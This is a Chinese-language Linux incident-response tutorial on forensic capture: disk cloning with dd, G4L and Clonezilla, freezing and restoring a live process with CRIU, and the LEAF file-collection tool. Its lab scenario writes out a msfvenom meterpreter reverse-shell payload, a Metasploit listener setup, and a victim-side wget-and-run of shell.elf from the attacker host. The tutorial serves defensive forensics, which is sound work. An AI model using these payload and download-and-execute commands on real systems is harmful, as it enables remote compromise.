如何带走一个“鲜活”的进程 | Linux 应急响应
简介
拷贝取证只是一部分人的需求,可能是取证人员,也可能是需要做交接的应急人员等
这篇文章从各种角度探索拷贝取证的方法,并通过组合拳完成对一个进程的拷贝
虚拟化平台
使用自带的虚拟化快照功能 直接把整个系统打包带走
全盘拷贝
全盘拷贝的工作模式基本上都是需要关机之后再用启动光盘或者U盘等引导,进而进行拷贝的,不然可能会数据错误,mondo rescue 是工作时打包拷贝的,但是对于 Ubuntu 16.04 及以上的系统,bug太多,根本用不了,推荐 clonezilla , 感觉速度更快一些
dd 系列
dd dcfldd ddrescue G4L
clonezilla
dd
dd 是 Linux 发行版基本都带的工具,可以用来做的事情也非常多,这里我们只演示用来全盘拷贝的功能
dcfldd 和 ddrescue 都是dd升级版或者辅助工具,建议大家了解一下
PS:使用dd命令进行全盘或者部分分区复制强烈建议准备一个LiveCD,建议使用Ubuntu Desktop 22.04启动U盘作为这个LiveCD;同时需要准备一个空的数据存储盘,空间要大于要复制的硬盘或者分区
使用dd进行复制的时候,需要将系统关闭,之后使用准备好的启动U盘进入 Ubuntu 22.04 中进行复制操作了,这也就意味着全盘拷贝是看不到恶意程序的进程情况的
假设受害系统只有一块硬盘,此时需要将其内容全部克隆下来,之后带走做更加深入的分析、取证等,受害系统信息如下
制作启动U盘
关闭受害系统,插上U盘,设置U盘启动,进入LiveCD
确定要备份的硬盘名称以及具体信息
sudo lsblk -a
sudo fdisk -l
确定我们要复制的源硬盘的设备名称为 /dev/sda
,这块硬盘有三个分区,使用的是 GPT 分区表,硬盘总大小为 16G
接入用来备份的数据盘 500G
查看数据盘信息
sudo lsblk -a
数据盘总大小为 500G,硬盘设备名称为 /dev/sdc
,有两个分区,现在我们删除这些分区,新建一个只有20G大小的分区就够了
sudo fdisk /dev/sdc
格式化 /dev/sdc1
分区
sudo mkfs.ext4 /dev/sdc1
新建 /data
目录,将 /dev/sdc1
挂载到该位置
sudo mkdir /data
sudo mount /dev/sdc1 /data
使用 dd 命令将 /dev/sda
硬盘中的所有分区的所有内容拷贝到 /data 目录中的一个文件里,文件名以 ubuntu-sda 来命名
sudo dd if=/dev/sda of=/data/ubuntu-sda bs=5M
默认是看不到进度的,执行dd后,需要新开一个终端窗口,执行下面的命令来让 dd 显示进度
sudo watch -n 5 killall -USR1 dd
此时 /dev/sda
这块硬盘中的内容已经全部复制到 ubuntu-sda 文件中,此时已经可以复制多份,并且拿出一份测试系统是否可以正常启动
新建一个虚拟机,使用 CD/DVD 镜像Ubuntu 22.04 作为启动源,当然也可以使用之前做的启动U盘
硬盘容量大于 ubuntu-sda 文件的大小,这里直接以 64G 为例
插入刚刚拷贝的数据盘
根据硬盘大小等信息,可以确定新系统的硬盘设备名称为 /dev/sda
数据盘的设备名称为 /dev/sdb
数据盘有一个分区 /dev/sdb1
已经挂载在某一个路径下了,但是路径有点长,还是新建 /data
目录,挂载到其上
sudo umount /dev/sdb1
sudo mkdir /data
sudo mount /dev/sdb1 /data
使用 dd 将拷贝的信息恢复到这块64G的硬盘上 (/dev/sda
)
sudo dd if=/data/ubuntu-sda of=/dev/sda bs=5M
新开终端执行监控指令
sudo watch -n 5 killall -USR1 dd
从 /dev/sda
硬盘结构上看已经恢复了,现在测试看能不能正常运行
成功启动,克隆成功,克隆的镜像可以直接作为取证材料或者交由其他应急响应人员分析、探究
G4L
G4L 是一个硬盘和分区镜像和克隆工具。其实就是 Ghost for Linux 的意思
https://sourceforge.net/projects/g4l/
G4L有一定的弊端
必须全盘克隆 克隆即使源硬盘500G只装了1G的信息,目的硬盘也必须大于等于 500G(后面有实验)
这个工具在2023年还更新了,这次演示就使用最新版本 G4L 0.62
假设受害系统只有一块硬盘,此时需要将其内容全部克隆下来,之后带走做更加深入的分析、取证等,受害系统信息如下
下载G4L
访问 https://sourceforge.net/projects/g4l/
解压zip,获取 iso 并烧录进U盘
本次演示选择 g4lefi 这个镜像,将其烧录进U盘(32G)
将受害系统关机,连接启动U盘,并设置U盘启动
此时插入数据盘 500G 硬盘(目的硬盘容量要大于源硬盘)
选择默认的这个
有几个这样的画面,一路回车就好,毕竟也没有其他选项
到这一步就要选择源和目的硬盘了
首先选择源驱动器(受害系统的硬盘)
通过上下键可以移动光标,使用空格选中本次要拷贝的 sdc 硬盘
选择目标驱动器(数据盘500G)
选择目的驱动器为 sdb ,也就是数据盘 500G硬盘
开始克隆
拷贝完成后就可以选择最下面的Reboot/Poweroff 进行关机
将数据盘拿回来,在本地开始恢复系统
新建虚拟机
同样选择默认的第一个,同时接入数据盘 500G 硬盘
一路回车到这里
也使用默认的选项
输入 g4l 回车
选择默认的 RAW 模式
选择 Click'n'Cone,之后就到了熟悉的源目的驱动器选择界面
这回源驱动器就是数据盘500G硬盘了,目的驱动器就是新装的系统的硬盘
开始克隆
结果很尴尬,克隆进度直接停留在这个位置上了
新建的系统分配的硬盘是64G,而数据盘的大小是 500G ,讽刺的是实际上我们需要的数据只有16G
这就是在我们这种场景中,G4L 的弊端,它只能全盘备份,同时是将源硬盘容量的大小克隆给新硬盘,即使500G的硬盘只装了16G的数据,目标硬盘也必须大于等于500G
关机,将新系统硬盘(目的硬盘)容量扩大至 512G,再次克隆
经过了6-8 个小时后,拷贝完成,移除CD、启动U盘、数据盘
复制成功
clonezilla
clonezilla 也是一款分区和硬盘克隆工具,使用方式与G4L类似
https://clonezilla.org/
假设受害系统只有一块硬盘,此时需要将其内容全部克隆下来,之后带走做更加深入的分析、取证等,受害系统信息如下
下载 clonezilla https://clonezilla.org/downloads.php
本次演示选择基于 Debian 的稳定版本 3.0.2-21
烧录进 U 盘
关闭受害主机,插上启动U盘,插上数据盘500G硬盘
直接选择默认的选项就好
语言选择简体中文
默认即可
选择默认的选项使用再生龙
这里模式就比较多了,本次演示主要是 硬盘->镜像文件-> 还原到硬盘 为主,这样容易复制,所以选择 device-image
选择本地设备 local_dev
clonezilla 这点很好,它支持在操作过程中插入数据盘,而不是必须从一开始就插入,因为最开始已经插入了500G数据盘,所以这里直接回车
这里已经识别出源数据盘(受害主机)为 /dev/sda ,而目的数据盘为 /dev/sdc ,直接 Ctrl + c结束掉这个界面
这里有点绕,简单来说就是把打包后的镜像放在哪个分区里,/dev/sdc 是我们的镜像,里面有一个 64G 大小的分区 sdc1 ,所以这里选中 sdc1
本次场景是全盘拷贝,不做坏道/坏块 检查以及系统修复,选择默认的第一个
选择存储打包后的镜像的目录,按照实际需求选择,之后选择 Done
选择初学模式
目前场景需要的是全盘复制,所以选择 savedisk
打包后的镜像的名字,默认是当前日期
选择源硬盘,当前场景受害主机只有一块硬盘,所以就是 sda
压缩方式,选择默认即可
是否检查和修正来源系统,选择跳过
这里选择是,让clonezilla 帮我们做一个简单的检查,当然,跳过会节省一些时间,演示选择是,请交叉保存的镜像
选择不对镜像加密
直接选默认的选项
输入 y
克隆完成,回车,poweroff
将镜像拿回公司,新建虚拟机,CD/DVD 放入 clonezilla ,从CD/DVD 启动
进入 clonezilla
步骤同上,直到这一步
目的硬盘就一块,也就不需要选择了
使用默认情况
因为刚刚检查过,这次就选否了
默认选项
y, 继续执行
再 y ,继续执行
重新配置新系统从硬盘启动
成功还原
进程拷贝
CRIU
CRIU
https://criu.org/
https://github.com/checkpoint-restore/criu
CRIU (Checkpoint/Restore In Userspace) 是一种在用户空间创建和恢复节点的工具
简单来说,CRIU 可以将正在运行的程序冻结,转化成一些j镜像文件,理想情况下可以随时随地通过这些镜像文件从冻结的节点恢复系统运行,而这些操作都是在用户空间内完成的
CRIU 安装
sudo add-apt-repository ppa:criu/ppa
sudo apt-get update
sudo apt install criu
测试 CRIU 是否运行正常
sudo criu check
输出 Looks good 表示安装成功
测试场景,受害主机某一个进程反弹 msf shell ,现在需要将其转储,在未来的某个时间节点在这台主机上重新让其运行
受害主机 Ubuntu Server 20.04 (192.168.31.16)
控制主机 Kali Linux (192.168.31.146)
控制主机 Kali Linux 生成木马(这里选择的是stegeless的木马,演示起来效果更好)
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.31.146 LPORT=4444 -f elf > shell.elf
控制主机 Kali Linux 设置监听
msfconsole -q
> use exploit/multi/handler
> set payload linux/x64/meterpreter_reverse_tcp
> set lhost 192.168.31.146
> set lport 4444
> set exitonsession false
> exploit -j
受害主机下载木马并执行
wget http://192.168.31.146/shell.elf
chmod +x shell.elf
./shell.elf &
反弹木马进程号 1267
控制主机 Kali Linux 接收到返回的shell
新开一个ssh连接,连接被害主机,安装 criu
在受害主机上使用 criu 对 pid 为 1267 的进程进行转储
sudo criu dump -vvvv -o dump.log -t 1267 --shell-job --tcp-established
此时查看控制主机 Kali Linux 处反弹shell 是否依旧正常
此时连接已经断了
静待五分钟,用来模拟正常应急中因为各种原因造成的时间间隔
恢复进程执行
sudo criu restore -vvvv --shell-job --tcp-established
控制主机 Kali Linux 这一侧
再次收到了反弹shell的请求
此时便可以继续对该进程进行研究了,但是总感觉有些鸡肋
假如说当前这台主机关机了,重启后,保存的进程镜像还能够再次恢复吗?
关闭受害主机,Kali Linux 保持监听
尝试恢复反弹shell的进程
还原失败,并且当前的终端输入字符已经无法看见了
再次启动一个ssh 连接,多次尝试恢复进程,这次 echo 123 并且睡眠3秒,这样即使看不到输入,也可以凭借着输出来判断是否是我们想执行的命令
仍旧失败,多次尝试之后,终于成功了
也就是说可以先将一个程序冻结,之后系统随意关机,再次开机后可以恢复进程,进行分析,这样看起来,是不是有点意思了呢
但是这还不够,看下面
组合拳
全盘拷贝会让内存丢失,进程全无;进程拷贝限制进程所在的电脑系统
但是!如果我们将它们的优势组合起来,会有意想不到的惊喜,相信你已经懂了
组合拳分为三步
冻结进程 全盘拷贝 恢复进程
听起来有点像把大象关冰箱
上面的操作可以使我们不仅能够把系统全盘复制过来,还能保留比较可疑的进程信息
以上三步都是本文详细讲述过的内容,所以直接简述
新建反弹shell的进程
关机 -> 全盘拷贝 -> 新建虚拟机 -> 恢复
PS:这里有一个问题,恢复后的系统IP不会是原来的IP了,这会让进程恢复出现问题,所以需要修改IP为静态IP,同时需要网络设备配合,允许修改静态IP后的系统可以正常上网
我的两个系统网络环境相同,所以只需要修改静态IP就好
Ubuntu Server 20.04修改方法如下
cp /etc/netplan/00-installer-config.yaml .
sudo vim /etc/netplan/00-installer-config.yaml
# 将下面的配置写入该文件中,如果该文件有过定制,需要按照合适的方式配置
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
eno1:
dhcp4: no
addresses: [192.168.1.2/24]
gateway4: 192.168.1.1
nameservers:
addresses: [114.114.114.114]
需要按照实际情况修改配置,以本次为例
网卡名称: enp0s5
IP地址: 192.168.31.16
网关: 192.168.31.1
即:
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
enp0s5:
dhcp4: no
addresses: [192.168.31.16/24]
gateway4: 192.168.31.1
nameservers:
addresses: [114.114.114.114]
开始恢复进程
只执行了一次,Kali Linux 便收到了反弹的shell
成功实现了系统和进程的双迁移!
关键文件取证
Linux Evidence Acquisition Framework
https://github.com/alex-cart/LEAF
Linux Evidence Acquisition Framework 使用
不要使用这个工具,可能会使系统出现故障,但是可以参考它的思路写一个自己的工具,代码就算了,这代码连异常都不处理
这个工具是一个取证工具,通过自定义的文件库对当前系统的响应文件进行复制,之后打包成ISO,还支持通过 yara 语法对文件进行匹配检查
很多时候,我们并不能关闭受害系统,而且只想获取部分文件的信息作为取证或者分析材料,这个工具本身自带了一份文件名单,同时支持自定义
// 更新索引
sudo apt update
// 安装pip3
sudo apt install python3-pip
// 升级pip3
pip3 install --upgrade pip
// 安装部分程序
sudo apt install python3-testresources
sudo apt install tree
sudo apt install mkisofs
// 下载 LEAF
git clone https://github.com/alex-cart/LEAF.git
// 安装 python3 依赖库,记得用sudo
cd LEAF
sudo pip3 install -r requirements.txt
// 开始使用,如果使用默认配置
sudo python3 LEAF_master.py
尽可能通过绝对地址来执行 LEAF_master.py
接下来等待进度条走完
// 如果不使用默认配置
-i filelist.txt
可以指定需要采集的文件地址,具体地址文件书写方式可以直接查看当前目录下的 target_locations 文件,使用 -i 指定
-u root
如果只想复制某个用户的文件信息,可以通过 -u root 这种形式来指定
-c SERVICES
如果只想针对某一种信息进行收集,可以通过 -c xxx 来进行指定,具体可选参数为 APPLICATIONS, EXECUTIONS, LOGS, MISC, NETWORK, SHELL, STARTUP, SERVICES, SYSTEM, TRASH, USERS
更多参数可以查看 https://github.com/alex-cart/LEAF
查看一下默认的文件清单
一共195条,去掉第一行,一共 194 个文件夹及文件
现在通过默认的配置文件进行关键文件拷贝
思路挺好,但是不要用这个工具及其代码,我尝试加一些异常处理代码,最终系统还是难以避免挂掉的结果